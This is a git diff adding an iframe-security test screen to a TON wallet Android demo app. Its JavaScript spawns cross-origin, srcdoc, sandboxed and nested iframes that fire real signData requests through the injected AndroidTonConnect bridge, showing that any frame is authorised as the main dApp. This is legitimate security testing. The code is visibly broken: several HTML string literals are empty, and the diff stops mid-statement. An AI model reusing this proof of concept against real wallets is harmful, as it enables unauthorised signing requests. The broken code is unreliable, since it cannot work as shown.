diff --git a/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/WalletKitInvestigationScreen.kt b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/WalletKitInvestigationScreen.kt index 0499b8f3..15f119f1 100644 --- a/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/WalletKitInvestigationScreen.kt +++ b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/WalletKitInvestigationScreen.kt @@ -19,8 +19,13 @@ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ +@file:SuppressLint("SetJavaScriptEnabled") + package io.ton.walletkit.demo.presentation.ui.screen +import android.annotation.SuppressLint +import android.view.ViewGroup +import android.webkit.WebView import android.widget.Toast import androidx.activity.compose.BackHandler import androidx.compose.foundation.background @@ -40,34 +45,51 @@ import androidx.compose.ui.draw.clip import androidx.compose.ui.platform.LocalContext import androidx.compose.ui.res.stringResource import androidx.compose.ui.unit.dp +import androidx.compose.ui.viewinterop.AndroidView +import io.ton.walletkit.ITONWalletKit import io.ton.walletkit.demo.R import io.ton.walletkit.demo.designsystem.components.text.TonText import io.ton.walletkit.demo.designsystem.theme.SmoothCornerShape import io.ton.walletkit.demo.designsystem.theme.TonTheme import io.ton.walletkit.demo.presentation.ui.dialog.UrlPromptDialog +import io.ton.walletkit.demo.presentation.ui.screen.iframesec.RealBridgeIframeCase +import io.ton.walletkit.demo.presentation.ui.screen.iframesec.WalletKitRealBridgeIframeScreen import io.ton.walletkit.demo.presentation.util.QrScanner +import io.ton.walletkit.extensions.injectTonConnect + +private enum class InvestigationPage { Tonconnect, DappWebView, RealBridge } /** * Developer "Wallet Kit Investigation" screen: a list of debug tools reached from the wallet-home - * gear icon. Currently one entry — Tonconnect, which opens a page with "Connect to dApp" (paste a - * link) and "Scan QR code" actions to connect the active wallet. + * gear icon. Hosts the TonConnect helper plus the iframe-security investigation screens (synthetic + * diagnostic matrix and the real-bridge matrix) and a plain dApp WebView. */ @Composable fun WalletKitInvestigationScreen( onBack: () -> Unit, onConnect: (String) -> Unit, + walletKit: ITONWalletKit, modifier: Modifier = Modifier, ) { - var showTonconnect by remember { mutableStateOf(false) } + var page by remember { mutableStateOf(null) } - if (showTonconnect) { - BackHandler { showTonconnect = false } - WalletKitTonconnectScreen( - onBack = { showTonconnect = false }, - onConnect = onConnect, - modifier = modifier, - ) - return + when (page) { + InvestigationPage.Tonconnect -> { + BackHandler { page = null } + WalletKitTonconnectScreen(onBack = { page = null }, onConnect = onConnect, modifier = modifier) + return + } + InvestigationPage.DappWebView -> { + BackHandler { page = null } + DappWebViewScreen(onBack = { page = null }, walletKit = walletKit, modifier = modifier) + return + } + InvestigationPage.RealBridge -> { + BackHandler { page = null } + WalletKitRealBridgeIframeScreen(walletKit = walletKit, onBack = { page = null }, modifier = modifier) + return + } + null -> Unit } Column( @@ -84,7 +106,12 @@ fun WalletKitInvestigationScreen( ) { InvestigationRow( title = stringResource(R.string.investigation_tonconnect), - onClick = { showTonconnect = true }, + onClick = { page = InvestigationPage.Tonconnect }, + ) + InvestigationRow(title = "dApp WebView", onClick = { page = InvestigationPage.DappWebView }) + InvestigationRow( + title = "Iframe Security — Real dApp Bridge", + onClick = { page = InvestigationPage.RealBridge }, ) } } @@ -142,6 +169,37 @@ private fun WalletKitTonconnectScreen( } } +/** Minimal dApp WebView with the real WalletKit injection — mirrors the iOS investigation entry. */ +@Composable +private fun DappWebViewScreen( + onBack: () -> Unit, + walletKit: ITONWalletKit, + modifier: Modifier = Modifier, +) { + Column( + modifier = modifier + .fillMaxSize() + .background(TonTheme.colors.bgSecondary), + ) { + SubScreenTopBar(title = "dApp WebView", onBack = onBack) + AndroidView( + modifier = Modifier.fillMaxSize(), + factory = { ctx -> + WebView(ctx).apply { + layoutParams = ViewGroup.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, + ViewGroup.LayoutParams.MATCH_PARENT, + ) + settings.javaScriptEnabled = true + settings.domStorageEnabled = true + injectTonConnect(walletKit) + loadUrl(RealBridgeIframeCase.DAPP_URL) + } + }, + ) + } +} + @Composable private fun InvestigationRow(title: String, onClick: () -> Unit) { val shape = SmoothCornerShape(12.dp) diff --git a/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/WalletScreen.kt b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/WalletScreen.kt index 98b92358..1b612d7c 100644 --- a/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/WalletScreen.kt +++ b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/WalletScreen.kt @@ -452,6 +452,7 @@ fun WalletScreen( WalletKitInvestigationScreen( onBack = { subScreen = HomeSubScreen.None }, onConnect = actions::onHandleUrl, + walletKit = walletKit, ) } HomeSubScreen.None -> Unit diff --git a/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/IframeSecurityLog.kt b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/IframeSecurityLog.kt new file mode 100644 index 00000000..9596bab5 --- /dev/null +++ b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/IframeSecurityLog.kt @@ -0,0 +1,73 @@ +/* + * Copyright (c) 2025 TonTech + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + */ +package io.ton.walletkit.demo.presentation.ui.screen.iframesec + +import androidx.compose.runtime.mutableStateListOf +import java.util.UUID + +/** + * One diagnostic log row. [actualOrigin] is the platform-reported origin of the frame that posted + * (the ground truth — JS cannot forge it). [claimedOrigin] is whatever the frame's JS claimed. + * [isNative] marks rows that come from the native SDK event stream rather than a JS bridge message. + */ +data class IframeSecLogEntry( + val id: String = UUID.randomUUID().toString(), + val timestamp: Long = System.currentTimeMillis(), + val frameLabel: String, + val action: String, + val claimedOrigin: String, + val actualOrigin: String, + val isMainFrame: Boolean, + val payload: String = "", + val isNative: Boolean = false, +) + +/** Compose-observable log shared by the synthetic and real-bridge iframe-security screens. */ +class IframeSecLog { + val entries = mutableStateListOf() + + fun add(entry: IframeSecLogEntry) { + entries.add(entry) + } + + /** + * Append an entry describing an event the native SDK actually received and surfaced — proof + * the bridge accepted the request, plus the [domain] the SDK attributed to it. + */ + fun addNative(action: String, domain: String, payload: String = "") { + entries.add( + IframeSecLogEntry( + frameLabel = "SDK EVENT", + action = action, + claimedOrigin = domain, + actualOrigin = domain, + isMainFrame = true, + payload = payload, + isNative = true, + ), + ) + } + + fun clear() { + entries.clear() + } +} diff --git a/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/RealBridgeIframeCase.kt b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/RealBridgeIframeCase.kt new file mode 100644 index 00000000..c3e1c187 --- /dev/null +++ b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/RealBridgeIframeCase.kt @@ -0,0 +1,365 @@ +/* + * Copyright (c) 2025 TonTech + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + */ +package io.ton.walletkit.demo.presentation.ui.screen.iframesec + +import android.util.Base64 + +/** + * Iframe-security matrix against the REAL WalletKit injected bridge on Android. + * + * Android security model (TonConnectInjector / TonConnectOperations): the injected bridge object + * `AndroidTonConnect` is a @JavascriptInterface reachable from ALL frames and carries NO per-frame + * origin. The native side derives the request `domain` from `webView.url` — i.e. the MAIN frame's + * URL — for every frame. Consequently a request from ANY iframe (cross-origin data:, srcdoc, + * sandboxed, …) is attributed to the connected main-frame domain and authorized. + * + * This is strictly weaker than iOS, where WKFrameInfo.securityOrigin gives a true per-frame origin + * and cross-origin frames are rejected. The diagnostic `iframeSecLog` listener (addWebMessageListener) + * shows the true per-frame origin for contrast, while the SDK event log shows the (main-frame) + * domain the bridge actually attributed. + */ +enum class RealBridgeIframeCase { + BASELINE_MAIN, + SAME_ORIGIN_NAVIGATED, + SAME_ORIGIN_NESTED, + SAME_URL_IFRAME, + CROSS_ORIGIN_DATA, + SRCDOC, + SANDBOXED, + RAW_JS_INTERFACE; + + val shortTitle: String + get() = when (this) { + BASELINE_MAIN -> "Main" + SAME_ORIGIN_NAVIGATED -> "Same-origin" + SAME_ORIGIN_NESTED -> "Nested SO" + SAME_URL_IFRAME -> "Same-URL" + CROSS_ORIGIN_DATA -> "data:" + SRCDOC -> "srcdoc" + SANDBOXED -> "sandboxed" + RAW_JS_INTERFACE -> "Raw JS iface" + } + + val title: String + get() = when (this) { + BASELINE_MAIN -> "Baseline — main dApp frame (legit)" + SAME_ORIGIN_NAVIGATED -> "Same-host navigated iframe" + SAME_ORIGIN_NESTED -> "Nested same-host iframes — HIJACK" + SAME_URL_IFRAME -> "Same-URL iframe (identical to main, ?qa=1) — HIJACK" + CROSS_ORIGIN_DATA -> "Cross-origin data: iframe — HIJACK" + SRCDOC -> "srcdoc iframe — HIJACK" + SANDBOXED -> "Sandboxed iframe — HIJACK" + RAW_JS_INTERFACE -> "Raw AndroidTonConnect from data: iframe — HIJACK" + } + + val summary: String + get() = when (this) { + BASELINE_MAIN -> + "Fires a real signData from the main dApp frame itself (the frame that connected). " + + "Reference for the legitimate path." + SAME_ORIGIN_NAVIGATED -> + "An iframe navigated to a path on the same host as the dApp. Its request is attributed " + + "to the dApp domain (webView.url) and authorized, though it never connected." + SAME_ORIGIN_NESTED -> + "A same-host iframe nested inside another same-host iframe (parent → A → B). The deepest " + + "frame fires a real signData; it is still attributed to the dApp domain and authorized." + SAME_URL_IFRAME -> + "An iframe whose src is the EXACT same URL as the main frame " + + "(https://tonconnect-sdk-demo-dapp.vercel.app/?qa=1) — an embedded copy of the dApp " + + "itself. Same origin, so its real signData is attributed to the dApp domain and authorized." + CROSS_ORIGIN_DATA -> + "Opaque-origin data: iframe sends a complete signData. On Android the bridge keys on " + + "webView.url, so it is attributed to the dApp domain and AUTHORIZED — the core hijack." + SRCDOC -> + "srcdoc iframe sends a real signData. Attributed to the dApp domain and authorized." + SANDBOXED -> + "sandbox=\"allow-scripts\" frame. If AndroidTonConnect is reachable, the request is " + + "still attributed to the dApp domain and authorized." + RAW_JS_INTERFACE -> + "A data: iframe calls window.AndroidTonConnect.postMessage(...) DIRECTLY (no provider). " + + "The @JavascriptInterface is exposed to every frame and carries no origin — the " + + "request is authorized as the main frame." + } + + /** On Android every frame's request is attributed to webView.url, so the sheet is expected. */ + val expectsSheet: Boolean get() = true + + val expectation: String + get() = "Expected on Android: native sign-data sheet APPEARS (bridge attributes the request " + + "to webView.url — the main dApp domain — regardless of the frame's real origin)." + + /** JS evaluated in the dApp main frame: builds the topology and wires the real signData. */ + fun spawnJs(): String { + val body = when (this) { + BASELINE_MAIN -> + """ + (function(){ + var LBL='MAIN-DAPP'; + function log(a,e){try{window.iframeSecLog.postMessage(JSON.stringify({frameLabel:LBL,action:a,claimedOrigin:(location.origin||'null'),payload:e||'',ts:Date.now()}));}catch(x){}} + var p=(window.ton&&window.ton.tonconnect)||(window.wallet&&window.wallet.tonconnect); + if(!p){log('NO PROVIDER IN MAIN FRAME');return;} + log('signData(real) from MAIN frame via provider →'); + p.send({method:'signData',params:[JSON.stringify({type:'text',text:'Legit signData from main dApp frame'})],id:String(Date.now())}) + .then(function(r){log('RESOLVED ✓ wallet signed',JSON.stringify(r).slice(0,180));}) + .catch(function(e){log('REJECTED ✗',(e&&e.message?e.message:String(e)).slice(0,180));}); + })(); + """.trimIndent() + + SAME_ORIGIN_NAVIGATED -> { + val script = realSendScript("SAME-ORIGIN-IFRAME", "Navigated to a path on the dApp host. Never connected.") + """ + (function(){ + var SRC=${jsString(script)}; + var f=document.createElement('iframe'); + ${frameStyle("f")} + f.src=${jsString(SAME_ORIGIN_URL)}; + f.addEventListener('load',function(){ + try{var d=f.contentWindow.document;var s=d.createElement('script');s.textContent=SRC;(d.body||d.documentElement).appendChild(s);} + catch(e){try{window.iframeSecLog.postMessage(JSON.stringify({frameLabel:'SAME-ORIGIN-IFRAME',action:'CANNOT INJECT (cross-origin?)',claimedOrigin:(location.origin||'null'),ts:Date.now()}));}catch(x){}} + }); + __ifsecAdd(f); + })(); + """.trimIndent() + } + + SAME_ORIGIN_NESTED -> { + // INNER runs in the deepest (depth-2) same-host frame and auto-fires signData. + val inner = realSendScript("NESTED-IFRAME-B (depth 2, same host)", "Deepest same-host frame. Never connected.") + // BUILDER runs in the middle (depth-1) frame: it creates the depth-2 same-host + // iframe and injects INNER into it (same-origin chain, so contentWindow access works). + val builder = """ + (function(){ + var INNER=${jsString(inner)}; + var f2=document.createElement('iframe'); + ${frameStyle("f2")} + f2.src=${jsString(SAME_ORIGIN_URL)}; + f2.addEventListener('load',function(){ + try{var d=f2.contentWindow.document;var s=d.createElement('script');s.textContent=INNER;(d.body||d.documentElement).appendChild(s);}catch(e){} + }); + (document.body||document.documentElement).appendChild(f2); + })(); + """.trimIndent() + """ + (function(){ + var BUILDER=${jsString(builder)}; + var f=document.createElement('iframe'); + ${frameStyle("f")} + f.src=${jsString(SAME_ORIGIN_URL)}; + f.addEventListener('load',function(){ + try{var d=f.contentWindow.document;var s=d.createElement('script');s.textContent=BUILDER;(d.body||d.documentElement).appendChild(s);} + catch(e){try{window.iframeSecLog.postMessage(JSON.stringify({frameLabel:'NESTED-SO',action:'CANNOT INJECT (cross-origin?)',claimedOrigin:(location.origin||'null'),ts:Date.now()}));}catch(x){}} + }); + __ifsecAdd(f); + })(); + """.trimIndent() + } + + SAME_URL_IFRAME -> { + // iframe whose src is the exact same URL as the main frame (DAPP_URL, with ?qa=1). + // Same origin, so we inject the real-send script into it via contentWindow. + val script = realSendScript("SAME-URL-IFRAME", "Same URL as the main frame ($DAPP_URL). Never connected.") + """ + (function(){ + var SRC=${jsString(script)}; + var f=document.createElement('iframe'); + ${frameStyle("f")} + f.src=${jsString(DAPP_URL)}; + f.addEventListener('load',function(){ + try{var d=f.contentWindow.document;var s=d.createElement('script');s.textContent=SRC;(d.body||d.documentElement).appendChild(s);} + catch(e){try{window.iframeSecLog.postMessage(JSON.stringify({frameLabel:'SAME-URL-IFRAME',action:'CANNOT INJECT (cross-origin?)',claimedOrigin:(location.origin||'null'),ts:Date.now()}));}catch(x){}} + }); + __ifsecAdd(f); + })(); + """.trimIndent() + } + + CROSS_ORIGIN_DATA -> { + val html = selfContainedDoc("DATA-IFRAME", "Opaque origin. Never connected.") + """ + (function(){ + var f=document.createElement('iframe'); + ${frameStyle("f")} + f.src=${jsString(dataUrl(html))}; + __ifsecAdd(f); + })(); + """.trimIndent() + } + + SRCDOC -> { + val html = selfContainedDoc("SRCDOC-IFRAME", "srcdoc — inherits parent origin in the browser sense.") + """ + (function(){ + var f=document.createElement('iframe'); + ${frameStyle("f")} + f.setAttribute('srcdoc', ${jsString(html)}); + __ifsecAdd(f); + })(); + """.trimIndent() + } + + SANDBOXED -> { + val html = selfContainedDoc("SANDBOXED-IFRAME", "sandbox=allow-scripts. Opaque origin.") + """ + (function(){ + var f=document.createElement('iframe'); + ${frameStyle("f")} + f.setAttribute('sandbox','allow-scripts'); + f.setAttribute('srcdoc', ${jsString(html)}); + __ifsecAdd(f); + })(); + """.trimIndent() + } + + RAW_JS_INTERFACE -> { + val html = rawInterfaceDoc("RAW-JS-IFACE") + """ + (function(){ + var f=document.createElement('iframe'); + ${frameStyle("f")} + f.src=${jsString(dataUrl(html))}; + __ifsecAdd(f); + })(); + """.trimIndent() + } + } + return PANEL_PRELUDE + "\n" + body + } + + companion object { + const val DAPP_ORIGIN = "https://tonconnect-sdk-demo-dapp.vercel.app" + const val DAPP_URL = "$DAPP_ORIGIN/?qa=1" + const val SAME_ORIGIN_URL = "$DAPP_ORIGIN/iframe/iframe" + + private val PANEL_PRELUDE = """ + (function(){ + if(window.__ifsecAdd) return; + function ensurePanel(){ + var p=document.getElementById('__ifsec_panel'); + if(!p){ + p=document.createElement('div'); + p.id='__ifsec_panel'; + p.style.cssText='position:fixed;left:0;right:0;bottom:0;z-index:2147483647;max-height:55%;overflow:auto;background:rgba(20,20,22,.96);padding:8px;border-top:3px solid #ff3b30;box-sizing:border-box'; + var bar=document.createElement('div'); + bar.style.cssText='color:#fff;font:700 12px sans-serif;margin-bottom:6px'; + bar.textContent='INJECTED ATTACK FRAMES'; + p.appendChild(bar); + document.body.appendChild(p); + } + return p; + } + window.__ifsecClear=function(){var p=document.getElementById('__ifsec_panel');if(p)p.remove();}; + window.__ifsecAdd=function(node){ensurePanel().appendChild(node);}; + })(); + """.trimIndent() + + private fun frameStyle(v: String) = + "$v.style.cssText='width:100%;border:0;min-height:150px;background:#fff;border-radius:8px;margin-top:6px';" + + /** A script that, run inside a frame, renders an overlay and auto-fires a real signData. */ + fun realSendScript(label: String, note: String): String = + """ + (function(){ + var LBL=${jsString(label)}; var NOTE=${jsString(note)}; + function log(a,e){try{window.iframeSecLog.postMessage(JSON.stringify({frameLabel:LBL,action:a,claimedOrigin:(location.origin||'null'),payload:e||'',ts:Date.now()}));}catch(x){}} + var box=document.createElement('div'); + box.style.cssText='font:13px sans-serif;background:#ffe5cf;color:#1d1d1f;padding:10px;border:2px solid #ff9b5b'; + box.innerHTML='
'+LBL+'
'+ + '
origin: '+(location.origin||'null')+'
url: '+location.href+'
'+ + '
'+NOTE+'
'; + (document.body||document.documentElement).appendChild(box); + function realSend(){ + var appReq={method:'signData',params:[JSON.stringify({type:'text',text:'UNCONNECTED frame ['+LBL+'] @ '+location.href})],id:String(Date.now())}; + var p=(window.ton&&window.ton.tonconnect)||(window.wallet&&window.wallet.tonconnect); + if(p){ + log('signData(real) via provider →'); + p.send(appReq).then(function(r){log('RESOLVED ✓ wallet signed',JSON.stringify(r).slice(0,180));}) + .catch(function(e){log('REJECTED ✗',(e&&e.message?e.message:String(e)).slice(0,180));}); + return; + } + var b=window.AndroidTonConnect; + if(!(b&&b.postMessage)){log('NO PROVIDER AND NO AndroidTonConnect IN FRAME');return;} + log('signData(real) via RAW AndroidTonConnect (no provider) →'); + try{ b.postMessage(JSON.stringify({type:'TONCONNECT_BRIDGE_REQUEST',messageId:'msg-'+Date.now(),method:'send',params:[appReq],frameId:(window.__tonconnect_frameId||('frame-'+Date.now()))})); log('raw posted (response not tracked)'); } + catch(e){ log('raw post threw',String(e).slice(0,180)); } + } + setTimeout(realSend,500); + })(); + """.trimIndent() + + /** Self-contained doc (data:/srcdoc/sandboxed) that embeds the real-send script. */ + private fun selfContainedDoc(label: String, note: String): String { + val script = realSendScript(label, note) + return "" + + "" + + "" + } + + /** A data: frame that ONLY uses the raw @JavascriptInterface — no high-level provider. */ + private fun rawInterfaceDoc(label: String): String { + val script = """ + (function(){ + var LBL=${jsString(label)}; + function log(a,e){try{window.iframeSecLog.postMessage(JSON.stringify({frameLabel:LBL,action:a,claimedOrigin:(location.origin||'null'),payload:e||'',ts:Date.now()}));}catch(x){}} + var b=window.AndroidTonConnect; + var present=!!(b&&b.postMessage); + document.body.innerHTML='
'+ + '
'+LBL+'
'+ + '
origin: '+(location.origin||'null')+'
'+ + '
window.AndroidTonConnect present: '+present+'
'; + log('AndroidTonConnect present in opaque frame: '+present); + if(!present){log('no @JavascriptInterface here');return;} + var appReq={method:'signData',params:[JSON.stringify({type:'text',text:'Raw @JavascriptInterface signData from data: iframe'})],id:String(Date.now())}; + setTimeout(function(){ + log('RAW AndroidTonConnect.postMessage(send signData) →'); + try{ b.postMessage(JSON.stringify({type:'TONCONNECT_BRIDGE_REQUEST',messageId:'msg-'+Date.now(),method:'send',params:[appReq],frameId:'frame-raw'})); log('raw posted'); } + catch(e){ log('raw post threw',String(e).slice(0,180)); } + },500); + })(); + """.trimIndent() + return "" + + "" + + "" + } + + private fun dataUrl(html: String): String { + val b64 = Base64.encodeToString(html.toByteArray(Charsets.UTF_8), Base64.NO_WRAP) + return "data:text/html;charset=utf-8;base64,$b64" + } + + /** Encode a Kotlin string as a JS string literal. */ + private fun jsString(s: String): String { + val sb = StringBuilder("\"") + for (c in s) { + when (c) { + '\\' -> sb.append("\\\\") + '"' -> sb.append("\\\"") + '\n' -> sb.append("\\n") + '\r' -> sb.append("\\r") + '\t' -> sb.append("\\t") + else -> sb.append(c) + } + } + sb.append("\"") + return sb.toString() + } + } +} diff --git a/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/WalletKitRealBridgeIframeScreen.kt b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/WalletKitRealBridgeIframeScreen.kt new file mode 100644 index 00000000..34d9031a --- /dev/null +++ b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/WalletKitRealBridgeIframeScreen.kt @@ -0,0 +1,360 @@ +/* + * Copyright (c) 2025 TonTech + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + */ +@file:SuppressLint("SetJavaScriptEnabled") + +package io.ton.walletkit.demo.presentation.ui.screen.iframesec + +import android.annotation.SuppressLint +import android.view.ViewGroup +import android.webkit.WebView +import androidx.compose.foundation.background +import androidx.compose.foundation.border +import androidx.compose.foundation.clickable +import androidx.compose.foundation.horizontalScroll +import androidx.compose.foundation.layout.Arrangement +import androidx.compose.foundation.layout.Box +import androidx.compose.foundation.layout.Column +import androidx.compose.foundation.layout.PaddingValues +import androidx.compose.foundation.layout.Row +import androidx.compose.foundation.layout.fillMaxSize +import androidx.compose.foundation.layout.fillMaxWidth +import androidx.compose.foundation.layout.height +import androidx.compose.foundation.layout.padding +import androidx.compose.foundation.lazy.LazyColumn +import androidx.compose.foundation.lazy.items +import androidx.compose.foundation.lazy.rememberLazyListState +import androidx.compose.foundation.rememberScrollState +import androidx.compose.foundation.shape.RoundedCornerShape +import androidx.compose.material3.HorizontalDivider +import androidx.compose.material3.Text +import androidx.compose.material3.TextButton +import androidx.compose.runtime.Composable +import androidx.compose.runtime.LaunchedEffect +import androidx.compose.runtime.getValue +import androidx.compose.runtime.mutableStateOf +import androidx.compose.runtime.remember +import androidx.compose.runtime.setValue +import androidx.compose.ui.Alignment +import androidx.compose.ui.Modifier +import androidx.compose.ui.draw.clip +import androidx.compose.ui.graphics.Color +import androidx.compose.ui.platform.LocalContext +import androidx.compose.ui.text.font.FontFamily +import androidx.compose.ui.text.font.FontWeight +import androidx.compose.ui.unit.dp +import androidx.compose.ui.unit.sp +import androidx.compose.ui.viewinterop.AndroidView +import androidx.webkit.WebViewCompat +import androidx.webkit.WebViewFeature +import io.ton.walletkit.ITONWalletKit +import io.ton.walletkit.demo.core.WalletKitDemoApp +import io.ton.walletkit.demo.designsystem.theme.TonTheme +import io.ton.walletkit.demo.presentation.ui.screen.SubScreenTopBar +import io.ton.walletkit.event.TONWalletKitEvent +import io.ton.walletkit.extensions.injectTonConnect +import org.json.JSONObject +import java.text.SimpleDateFormat +import java.util.Date +import java.util.Locale + +/** + * Iframe-security matrix against the REAL WalletKit bridge. Loads the demo dApp with + * injectTonConnect(walletKit), then injects iframe topologies that fire real signData requests. + * + * On Android the bridge attributes every frame's request to webView.url (the main dApp domain), + * so cross-origin / data: / sandboxed iframes are all authorized — the native sign-data sheet + * appears for frames that never connected. The diagnostic `iframeSecLog` listener shows the true + * per-frame origin for contrast; the blue SDK rows show the (main-frame) domain the bridge used. + */ +@Composable +fun WalletKitRealBridgeIframeScreen( + walletKit: ITONWalletKit, + onBack: () -> Unit, + modifier: Modifier = Modifier, +) { + val context = LocalContext.current + val app = remember(context) { context.applicationContext as WalletKitDemoApp } + val log = remember { IframeSecLog() } + var webView by remember { mutableStateOf(null) } + var selected by remember { mutableStateOf(RealBridgeIframeCase.CROSS_ORIGIN_DATA) } + + // Mirror every event the SDK actually surfaces, with the domain it attributed (ground truth). + LaunchedEffect(Unit) { + log.addNative(action = "Ready — connect in the dApp, then pick a case and tap Inject", domain = "—") + app.sdkEvents.collect { event -> log.addNative(describeEvent(event), eventDomain(event), eventPayload(event)) } + } + + Column( + modifier = modifier + .fillMaxSize() + .background(TonTheme.colors.bgSecondary), + ) { + SubScreenTopBar(title = "Real Bridge", onBack = onBack) + + Column( + modifier = Modifier + .fillMaxWidth() + .background(TonTheme.colors.bgPrimary) + .padding(10.dp), + verticalArrangement = Arrangement.spacedBy(4.dp), + ) { + Text(selected.title, style = TonTheme.typography.bodySemibold.style, color = TonTheme.colors.textPrimary) + Text(selected.summary, style = TonTheme.typography.caption1.style, color = TonTheme.colors.textSecondary) + Text(selected.expectation, style = TonTheme.typography.caption1.style, color = Color(0xFFE5484D)) + } + + Row( + modifier = Modifier + .fillMaxWidth() + .padding(horizontal = 10.dp, vertical = 8.dp), + verticalAlignment = Alignment.CenterVertically, + ) { + // Scrolling case chips take the remaining width... + Row( + modifier = Modifier + .weight(1f) + .horizontalScroll(rememberScrollState()), + horizontalArrangement = Arrangement.spacedBy(8.dp), + verticalAlignment = Alignment.CenterVertically, + ) { + RealBridgeIframeCase.entries.forEach { case -> + val isSel = case == selected + Text( + text = case.shortTitle, + style = TonTheme.typography.caption1.style, + color = if (isSel) Color.White else TonTheme.colors.textPrimary, + modifier = Modifier + .clip(RoundedCornerShape(8.dp)) + .background(if (isSel) TonTheme.colors.bgBrand else TonTheme.colors.bgFillTertiary) + .clickable { selected = case } + .padding(horizontal = 10.dp, vertical = 6.dp), + ) + } + } + + // ...while the Inject button stays pinned on the right, outside the scroll. + Text( + text = "Inject", + style = TonTheme.typography.bodySemibold.style, + color = Color.White, + modifier = Modifier + .padding(start = 8.dp) + .clip(RoundedCornerShape(8.dp)) + .background(Color(0xFFE5484D)) + .clickable { + val wv = webView + if (wv == null) { + log.addNative("⚠️ WebView not ready", "—") + } else { + log.addNative("▶ Inject: ${selected.title}", "(main frame)") + wv.evaluateJavascript(selected.spawnJs(), null) + } + } + .padding(horizontal = 12.dp, vertical = 6.dp), + ) + } + + HorizontalDivider() + + AndroidView( + modifier = Modifier + .fillMaxWidth() + .weight(1f), + factory = { ctx -> + WebView(ctx).apply { + layoutParams = ViewGroup.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, + ViewGroup.LayoutParams.MATCH_PARENT, + ) + settings.javaScriptEnabled = true + settings.domStorageEnabled = true + + // Real WalletKit bridge (AndroidTonConnect + window.ton.tonconnect, all frames). + injectTonConnect(walletKit) + + // Parallel diagnostic listener: reports the TRUE per-frame origin the platform + // sees, so it can be contrasted with the domain the SDK attributes. + if (WebViewFeature.isFeatureSupported(WebViewFeature.WEB_MESSAGE_LISTENER)) { + WebViewCompat.addWebMessageListener( + this, + "iframeSecLog", + setOf("*"), + ) { _, message, sourceOrigin, isMainFrame, _ -> + val json = runCatching { JSONObject(message.data ?: "") }.getOrNull() + if (json != null) { + log.add( + 